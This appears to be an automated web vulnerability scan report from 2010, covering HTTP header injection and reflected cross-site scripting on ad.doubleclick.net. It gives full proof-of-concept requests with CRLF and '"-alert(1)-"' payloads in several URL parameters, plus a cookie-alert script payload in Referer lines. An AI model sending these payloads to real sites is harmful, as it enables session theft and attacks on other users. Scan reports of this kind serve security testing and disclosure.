The value of REST URL parameter 1 is copied into the Location response header. The payload b3797%0d%0a5c01242df11 was submitted in the REST URL parameter 1. This caused a response containing an injected HTTP header.
Issue background
HTTP header injection vulnerabilities arise when user-supplied data is copied into a response header in an unsafe way. If an attacker can inject newline characters into the header, then they can inject new HTTP headers and also, by injecting an empty line, break out of the headers into the message body and write arbitrary content into the application's response.
Various kinds of attack can be delivered via HTTP header injection vulnerabilities. Any attack that can be delivered via cross-site scripting can usually be delivered via header injection, because the attacker can construct a request which causes arbitrary JavaScript to appear within the response body. Further, it is sometimes possible to leverage header injection vulnerabilities to poison the cache of any proxy server via which users access the application. Here, an attacker sends a crafted request which results in a "split" response containing arbitrary content. If the proxy server can be manipulated to associate the injected response with another URL used within the application, then the attacker can perform a "stored" attack against this URL which will compromise other users who request that URL in future.
Issue remediation
If possible, applications should avoid copying user-controllable data into HTTP response headers. If this is unavoidable, then the data should be strictly validated to prevent header injection attacks. In most situations, it will be appropriate to allow only short alphanumeric strings to be copied into headers, and any other input should be rejected. At a minimum, input containing any characters with ASCII codes less than 0x20 should be rejected.
Request
GET /1977183b3797%0d%0a5c01242df11/5036528_112310.html HTTP/1.1 Host: ad.doubleclick.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: VWCUKP300ad=L0/Q53624_9650_5_110510_1_123110_338790x320289x110510x1x1; id=OPT_OUT;
Response
HTTP/1.1 302 Moved Temporarily Content-Type: text/html Content-Length: 36 Location: http://static.2mdn.net/1977183b3797 5c01242df11/5036528_112310.html: Date: Wed, 01 Dec 2010 18:18:51 GMT Server: GFE/2.0 Connection: close
<h1>Error 302 Moved Temporarily</h1>
2. Cross-site scripting (reflected)previous There are 6 instances of this issue:
Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Remediation background
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of the adurl request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 66311"-alert(1)-"01b75c1cab6 was submitted in the adurl parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /adi/N4359.ds0.40196125457903986/B4866249.3;sz=300x250;click=http://googleads.g.doubleclick.net/aclk?sa=L&ai=BX330v3T2TPe9BILJsQeRzMCzAuSY7dsBjMW97RTEqeqkQAAQARgBIOrvpxI4AFDW1d3pAWDJhu2IhKTsD7IBDXd3dy5tYW50YS5jb226AQozMDB4MjUwX2FzyAEJ2gGHAWh0dHA6Ly93d3cubWFudGEuY29tL2MvbW1jOHIwZC91bml0ZWQtcGFyY2VsLXNlcnZpY2UtaW5jLW9oL3gyMj81ODg2ZCUyMiUzRSUzQ3NjcmlwdCUzRWFsZXJ0KGRvY3VtZW50LmNvb2tpZSklM0Mvc2NyaXB0JTNFZDEyYTdlMWJhOTg9MZgC5DK4AhjAAgHIAqy6jBSoAwHoA5cF6AP-COgDoQLoA8sB9QMCAAAE&num=1&sig=AGiWqty4kISXvl8cKrvfNx2HDhnFdO2yYw&client=ca-pub-6734035461462895&adurl=66311"-alert(1)-"01b75c1cab6 HTTP/1.1 Host: ad.doubleclick.net Proxy-Connection: keep-alive Referer: http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-6734035461462895&output=html&h=250&slotname=3169074744&w=300&flash=10.1.103&kw=Parcel%20delivery%20private%20air&kw_type=broad&url=http%3A%2F%2Fwww.manta.com%2Fc%2Fmmc8r0d%2Funited-parcel-service-inc-oh%2Fx22%3F5886d%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253Ed12a7e1ba98%3D1&dt=1291241742044&shv=r20101117&jsv=r20101122&saldr=1&correlator=1291241740614&frm=0&adk=2965847259&ga_vid=1326364614.1291241740&ga_sid=1291241740&ga_hid=833755700&ga_fc=1&u_tz=-360&u_his=2&u_java=1&u_h=1200&u_w=1920&u_ah=1172&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=50&biw=1366&bih=901&ref=http%3A%2F%2Fburp%2Fshow%2F14&fu=0&ifi=2&dtd=42&xpc=lXWQtKlYaS&p=http%3A//www.manta.com Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=OPT_OUT; VWCUKP300ad=L0/Q53624_9650_5_110510_1_123110_338790x320289x110510x1x1
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: text/html Content-Length: 8184 Cache-Control: no-cache Pragma: no-cache Date: Wed, 01 Dec 2010 18:10:12 GMT Expires: Wed, 01 Dec 2010 18:10:12 GMT
<html><head><title>Click here to find out more!</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Copyright 2008 DoubleClick, a division of Google Inc. All ...[SNIP]... FsZXJ0KGRvY3VtZW50LmNvb2tpZSklM0Mvc2NyaXB0JTNFZDEyYTdlMWJhOTg9MZgC5DK4AhjAAgHIAqy6jBSoAwHoA5cF6AP-COgDoQLoA8sB9QMCAAAE&num=1&sig=AGiWqty4kISXvl8cKrvfNx2HDhnFdO2yYw&client=ca-pub-6734035461462895&adurl=66311"-alert(1)-"01b75c1cab6http://www.totalmerrill.com/TotalMerrill/pages/BalancingLife.aspx?cm_mmc=GWIM-Integrated-_-Google-_-mlwm_t3_tuition_300x250.swf-_-Google_Display_Network_Placement_Targetting_Finance_Investing_Business_ ...[SNIP]...
The value of the ai request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 745a0"-alert(1)-"728f737d7a1 was submitted in the ai parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /adi/N4359.ds0.40196125457903986/B4866249.3;sz=300x250;click=http://googleads.g.doubleclick.net/aclk?sa=L&ai=BX330v3T2TPe9BILJsQeRzMCzAuSY7dsBjMW97RTEqeqkQAAQARgBIOrvpxI4AFDW1d3pAWDJhu2IhKTsD7IBDXd3dy5tYW50YS5jb226AQozMDB4MjUwX2FzyAEJ2gGHAWh0dHA6Ly93d3cubWFudGEuY29tL2MvbW1jOHIwZC91bml0ZWQtcGFyY2VsLXNlcnZpY2UtaW5jLW9oL3gyMj81ODg2ZCUyMiUzRSUzQ3NjcmlwdCUzRWFsZXJ0KGRvY3VtZW50LmNvb2tpZSklM0Mvc2NyaXB0JTNFZDEyYTdlMWJhOTg9MZgC5DK4AhjAAgHIAqy6jBSoAwHoA5cF6AP-COgDoQLoA8sB9QMCAAAE745a0"-alert(1)-"728f737d7a1&num=1&sig=AGiWqty4kISXvl8cKrvfNx2HDhnFdO2yYw&client=ca-pub-6734035461462895&adurl=;ord=70331731? HTTP/1.1 Host: ad.doubleclick.net Proxy-Connection: keep-alive Referer: http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-6734035461462895&output=html&h=250&slotname=3169074744&w=300&flash=10.1.103&kw=Parcel%20delivery%20private%20air&kw_type=broad&url=http%3A%2F%2Fwww.manta.com%2Fc%2Fmmc8r0d%2Funited-parcel-service-inc-oh%2Fx22%3F5886d%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253Ed12a7e1ba98%3D1&dt=1291241742044&shv=r20101117&jsv=r20101122&saldr=1&correlator=1291241740614&frm=0&adk=2965847259&ga_vid=1326364614.1291241740&ga_sid=1291241740&ga_hid=833755700&ga_fc=1&u_tz=-360&u_his=2&u_java=1&u_h=1200&u_w=1920&u_ah=1172&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=50&biw=1366&bih=901&ref=http%3A%2F%2Fburp%2Fshow%2F14&fu=0&ifi=2&dtd=42&xpc=lXWQtKlYaS&p=http%3A//www.manta.com Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=OPT_OUT; VWCUKP300ad=L0/Q53624_9650_5_110510_1_123110_338790x320289x110510x1x1
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: text/html Date: Wed, 01 Dec 2010 18:07:08 GMT Cache-Control: private, x-gzip-ok="" Content-Length: 8214
<html><head><title>Click here to find out more!</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Copyright 2008 DoubleClick, a division of Google Inc. All ...[SNIP]... jOHIwZC91bml0ZWQtcGFyY2VsLXNlcnZpY2UtaW5jLW9oL3gyMj81ODg2ZCUyMiUzRSUzQ3NjcmlwdCUzRWFsZXJ0KGRvY3VtZW50LmNvb2tpZSklM0Mvc2NyaXB0JTNFZDEyYTdlMWJhOTg9MZgC5DK4AhjAAgHIAqy6jBSoAwHoA5cF6AP-COgDoQLoA8sB9QMCAAAE745a0"-alert(1)-"728f737d7a1&num=1&sig=AGiWqty4kISXvl8cKrvfNx2HDhnFdO2yYw&client=ca-pub-6734035461462895&adurl=http%3a%2f%2fwww.totalmerrill.com/TotalMerrill/pages/BalancingLife.aspx%3Fcm_mmc%3DGWIM-Integrated-_-Google-_-mlwm_t3_ ...[SNIP]...
The value of the client request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 9e01d"-alert(1)-"30e87be7d90 was submitted in the client parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /adi/N4359.ds0.40196125457903986/B4866249.3;sz=300x250;click=http://googleads.g.doubleclick.net/aclk?sa=L&ai=BX330v3T2TPe9BILJsQeRzMCzAuSY7dsBjMW97RTEqeqkQAAQARgBIOrvpxI4AFDW1d3pAWDJhu2IhKTsD7IBDXd3dy5tYW50YS5jb226AQozMDB4MjUwX2FzyAEJ2gGHAWh0dHA6Ly93d3cubWFudGEuY29tL2MvbW1jOHIwZC91bml0ZWQtcGFyY2VsLXNlcnZpY2UtaW5jLW9oL3gyMj81ODg2ZCUyMiUzRSUzQ3NjcmlwdCUzRWFsZXJ0KGRvY3VtZW50LmNvb2tpZSklM0Mvc2NyaXB0JTNFZDEyYTdlMWJhOTg9MZgC5DK4AhjAAgHIAqy6jBSoAwHoA5cF6AP-COgDoQLoA8sB9QMCAAAE&num=1&sig=AGiWqty4kISXvl8cKrvfNx2HDhnFdO2yYw&client=ca-pub-67340354614628959e01d"-alert(1)-"30e87be7d90&adurl=;ord=70331731? HTTP/1.1 Host: ad.doubleclick.net Proxy-Connection: keep-alive Referer: http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-6734035461462895&output=html&h=250&slotname=3169074744&w=300&flash=10.1.103&kw=Parcel%20delivery%20private%20air&kw_type=broad&url=http%3A%2F%2Fwww.manta.com%2Fc%2Fmmc8r0d%2Funited-parcel-service-inc-oh%2Fx22%3F5886d%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253Ed12a7e1ba98%3D1&dt=1291241742044&shv=r20101117&jsv=r20101122&saldr=1&correlator=1291241740614&frm=0&adk=2965847259&ga_vid=1326364614.1291241740&ga_sid=1291241740&ga_hid=833755700&ga_fc=1&u_tz=-360&u_his=2&u_java=1&u_h=1200&u_w=1920&u_ah=1172&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=50&biw=1366&bih=901&ref=http%3A%2F%2Fburp%2Fshow%2F14&fu=0&ifi=2&dtd=42&xpc=lXWQtKlYaS&p=http%3A//www.manta.com Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=OPT_OUT; VWCUKP300ad=L0/Q53624_9650_5_110510_1_123110_338790x320289x110510x1x1
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: text/html Date: Wed, 01 Dec 2010 18:09:34 GMT Cache-Control: private, x-gzip-ok="" Content-Length: 8187
<html><head><title>Click here to find out more!</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Copyright 2008 DoubleClick, a division of Google Inc. All ...[SNIP]... wdCUzRWFsZXJ0KGRvY3VtZW50LmNvb2tpZSklM0Mvc2NyaXB0JTNFZDEyYTdlMWJhOTg9MZgC5DK4AhjAAgHIAqy6jBSoAwHoA5cF6AP-COgDoQLoA8sB9QMCAAAE&num=1&sig=AGiWqty4kISXvl8cKrvfNx2HDhnFdO2yYw&client=ca-pub-67340354614628959e01d"-alert(1)-"30e87be7d90&adurl=http%3a%2f%2fwww.totalmerrill.com/TotalMerrill/pages/BalancingLife.aspx%3Fcm_mmc%3DGWIM-Integrated-_-Google-_-mlwm_t3_bull_300x250.swf-_-Google_Display_Network_Placement_Targetting_Finance_Inves ...[SNIP]...
The value of the num request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 512f5"-alert(1)-"2f6f9ac31b5 was submitted in the num parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /adi/N4359.ds0.40196125457903986/B4866249.3;sz=300x250;click=http://googleads.g.doubleclick.net/aclk?sa=L&ai=BX330v3T2TPe9BILJsQeRzMCzAuSY7dsBjMW97RTEqeqkQAAQARgBIOrvpxI4AFDW1d3pAWDJhu2IhKTsD7IBDXd3dy5tYW50YS5jb226AQozMDB4MjUwX2FzyAEJ2gGHAWh0dHA6Ly93d3cubWFudGEuY29tL2MvbW1jOHIwZC91bml0ZWQtcGFyY2VsLXNlcnZpY2UtaW5jLW9oL3gyMj81ODg2ZCUyMiUzRSUzQ3NjcmlwdCUzRWFsZXJ0KGRvY3VtZW50LmNvb2tpZSklM0Mvc2NyaXB0JTNFZDEyYTdlMWJhOTg9MZgC5DK4AhjAAgHIAqy6jBSoAwHoA5cF6AP-COgDoQLoA8sB9QMCAAAE&num=1512f5"-alert(1)-"2f6f9ac31b5&sig=AGiWqty4kISXvl8cKrvfNx2HDhnFdO2yYw&client=ca-pub-6734035461462895&adurl=;ord=70331731? HTTP/1.1 Host: ad.doubleclick.net Proxy-Connection: keep-alive Referer: http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-6734035461462895&output=html&h=250&slotname=3169074744&w=300&flash=10.1.103&kw=Parcel%20delivery%20private%20air&kw_type=broad&url=http%3A%2F%2Fwww.manta.com%2Fc%2Fmmc8r0d%2Funited-parcel-service-inc-oh%2Fx22%3F5886d%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253Ed12a7e1ba98%3D1&dt=1291241742044&shv=r20101117&jsv=r20101122&saldr=1&correlator=1291241740614&frm=0&adk=2965847259&ga_vid=1326364614.1291241740&ga_sid=1291241740&ga_hid=833755700&ga_fc=1&u_tz=-360&u_his=2&u_java=1&u_h=1200&u_w=1920&u_ah=1172&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=50&biw=1366&bih=901&ref=http%3A%2F%2Fburp%2Fshow%2F14&fu=0&ifi=2&dtd=42&xpc=lXWQtKlYaS&p=http%3A//www.manta.com Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=OPT_OUT; VWCUKP300ad=L0/Q53624_9650_5_110510_1_123110_338790x320289x110510x1x1
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: text/html Date: Wed, 01 Dec 2010 18:07:58 GMT Cache-Control: private, x-gzip-ok="" Content-Length: 8187
<html><head><title>Click here to find out more!</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Copyright 2008 DoubleClick, a division of Google Inc. All ...[SNIP]... C91bml0ZWQtcGFyY2VsLXNlcnZpY2UtaW5jLW9oL3gyMj81ODg2ZCUyMiUzRSUzQ3NjcmlwdCUzRWFsZXJ0KGRvY3VtZW50LmNvb2tpZSklM0Mvc2NyaXB0JTNFZDEyYTdlMWJhOTg9MZgC5DK4AhjAAgHIAqy6jBSoAwHoA5cF6AP-COgDoQLoA8sB9QMCAAAE&num=1512f5"-alert(1)-"2f6f9ac31b5&sig=AGiWqty4kISXvl8cKrvfNx2HDhnFdO2yYw&client=ca-pub-6734035461462895&adurl=http%3a%2f%2fwww.totalmerrill.com/TotalMerrill/pages/BalancingLife.aspx%3Fcm_mmc%3DGWIM-Integrated-_-Google-_-mlwm_t3_bull_3 ...[SNIP]...
The value of the sig request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload caafb"-alert(1)-"caa4efaf56e was submitted in the sig parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /adi/N4359.ds0.40196125457903986/B4866249.3;sz=300x250;click=http://googleads.g.doubleclick.net/aclk?sa=L&ai=BX330v3T2TPe9BILJsQeRzMCzAuSY7dsBjMW97RTEqeqkQAAQARgBIOrvpxI4AFDW1d3pAWDJhu2IhKTsD7IBDXd3dy5tYW50YS5jb226AQozMDB4MjUwX2FzyAEJ2gGHAWh0dHA6Ly93d3cubWFudGEuY29tL2MvbW1jOHIwZC91bml0ZWQtcGFyY2VsLXNlcnZpY2UtaW5jLW9oL3gyMj81ODg2ZCUyMiUzRSUzQ3NjcmlwdCUzRWFsZXJ0KGRvY3VtZW50LmNvb2tpZSklM0Mvc2NyaXB0JTNFZDEyYTdlMWJhOTg9MZgC5DK4AhjAAgHIAqy6jBSoAwHoA5cF6AP-COgDoQLoA8sB9QMCAAAE&num=1&sig=AGiWqty4kISXvl8cKrvfNx2HDhnFdO2yYwcaafb"-alert(1)-"caa4efaf56e&client=ca-pub-6734035461462895&adurl=;ord=70331731? HTTP/1.1 Host: ad.doubleclick.net Proxy-Connection: keep-alive Referer: http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-6734035461462895&output=html&h=250&slotname=3169074744&w=300&flash=10.1.103&kw=Parcel%20delivery%20private%20air&kw_type=broad&url=http%3A%2F%2Fwww.manta.com%2Fc%2Fmmc8r0d%2Funited-parcel-service-inc-oh%2Fx22%3F5886d%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253Ed12a7e1ba98%3D1&dt=1291241742044&shv=r20101117&jsv=r20101122&saldr=1&correlator=1291241740614&frm=0&adk=2965847259&ga_vid=1326364614.1291241740&ga_sid=1291241740&ga_hid=833755700&ga_fc=1&u_tz=-360&u_his=2&u_java=1&u_h=1200&u_w=1920&u_ah=1172&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=50&biw=1366&bih=901&ref=http%3A%2F%2Fburp%2Fshow%2F14&fu=0&ifi=2&dtd=42&xpc=lXWQtKlYaS&p=http%3A//www.manta.com Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=OPT_OUT; VWCUKP300ad=L0/Q53624_9650_5_110510_1_123110_338790x320289x110510x1x1
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: text/html Date: Wed, 01 Dec 2010 18:08:47 GMT Cache-Control: private, x-gzip-ok="" Content-Length: 8214
<html><head><title>Click here to find out more!</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Copyright 2008 DoubleClick, a division of Google Inc. All ...[SNIP]... L3gyMj81ODg2ZCUyMiUzRSUzQ3NjcmlwdCUzRWFsZXJ0KGRvY3VtZW50LmNvb2tpZSklM0Mvc2NyaXB0JTNFZDEyYTdlMWJhOTg9MZgC5DK4AhjAAgHIAqy6jBSoAwHoA5cF6AP-COgDoQLoA8sB9QMCAAAE&num=1&sig=AGiWqty4kISXvl8cKrvfNx2HDhnFdO2yYwcaafb"-alert(1)-"caa4efaf56e&client=ca-pub-6734035461462895&adurl=http%3a%2f%2fwww.totalmerrill.com/TotalMerrill/pages/BalancingLife.aspx%3Fcm_mmc%3DGWIM-Integrated-_-Google-_-mlwm_t3_tuition_300x250.swf-_-Google_Display_Network_ ...[SNIP]...
The value of the sz request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 5d28f"-alert(1)-"fa970fb57e7 was submitted in the sz parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /adi/N4359.ds0.40196125457903986/B4866249.3;sz=300x250;click=http://googleads.g.doubleclick.net/aclk?sa=L5d28f"-alert(1)-"fa970fb57e7&ai=BX330v3T2TPe9BILJsQeRzMCzAuSY7dsBjMW97RTEqeqkQAAQARgBIOrvpxI4AFDW1d3pAWDJhu2IhKTsD7IBDXd3dy5tYW50YS5jb226AQozMDB4MjUwX2FzyAEJ2gGHAWh0dHA6Ly93d3cubWFudGEuY29tL2MvbW1jOHIwZC91bml0ZWQtcGFyY2VsLXNlcnZpY2UtaW5jLW9oL3gyMj81ODg2ZCUyMiUzRSUzQ3NjcmlwdCUzRWFsZXJ0KGRvY3VtZW50LmNvb2tpZSklM0Mvc2NyaXB0JTNFZDEyYTdlMWJhOTg9MZgC5DK4AhjAAgHIAqy6jBSoAwHoA5cF6AP-COgDoQLoA8sB9QMCAAAE&num=1&sig=AGiWqty4kISXvl8cKrvfNx2HDhnFdO2yYw&client=ca-pub-6734035461462895&adurl=;ord=70331731? HTTP/1.1 Host: ad.doubleclick.net Proxy-Connection: keep-alive Referer: http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-6734035461462895&output=html&h=250&slotname=3169074744&w=300&flash=10.1.103&kw=Parcel%20delivery%20private%20air&kw_type=broad&url=http%3A%2F%2Fwww.manta.com%2Fc%2Fmmc8r0d%2Funited-parcel-service-inc-oh%2Fx22%3F5886d%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253Ed12a7e1ba98%3D1&dt=1291241742044&shv=r20101117&jsv=r20101122&saldr=1&correlator=1291241740614&frm=0&adk=2965847259&ga_vid=1326364614.1291241740&ga_sid=1291241740&ga_hid=833755700&ga_fc=1&u_tz=-360&u_his=2&u_java=1&u_h=1200&u_w=1920&u_ah=1172&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=50&biw=1366&bih=901&ref=http%3A%2F%2Fburp%2Fshow%2F14&fu=0&ifi=2&dtd=42&xpc=lXWQtKlYaS&p=http%3A//www.manta.com Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=OPT_OUT; VWCUKP300ad=L0/Q53624_9650_5_110510_1_123110_338790x320289x110510x1x1
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: text/html Date: Wed, 01 Dec 2010 18:06:34 GMT Cache-Control: private, x-gzip-ok="" Content-Length: 8187
<html><head><title>Click here to find out more!</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Copyright 2008 DoubleClick, a division of Google Inc. All ...[SNIP]... = escape("http://ad.doubleclick.net/click%3Bh%3Dv8/3a63/f/20c/%2a/r%3B232477937%3B1-0%3B0%3B56074840%3B4307-300/250%3B38732775/38750532/2%3B%3B%7Esscs%3D%3fhttp://googleads.g.doubleclick.net/aclk?sa=L5d28f"-alert(1)-"fa970fb57e7&ai=BX330v3T2TPe9BILJsQeRzMCzAuSY7dsBjMW97RTEqeqkQAAQARgBIOrvpxI4AFDW1d3pAWDJhu2IhKTsD7IBDXd3dy5tYW50YS5jb226AQozMDB4MjUwX2FzyAEJ2gGHAWh0dHA6Ly93d3cubWFudGEuY29tL2MvbW1jOHIwZC91bml0ZWQtcGFyY2VsLXNlcnZp ...[SNIP]...
Report generated by Hoyt LLC at Thu Dec 02 12:53:27 CST 2010.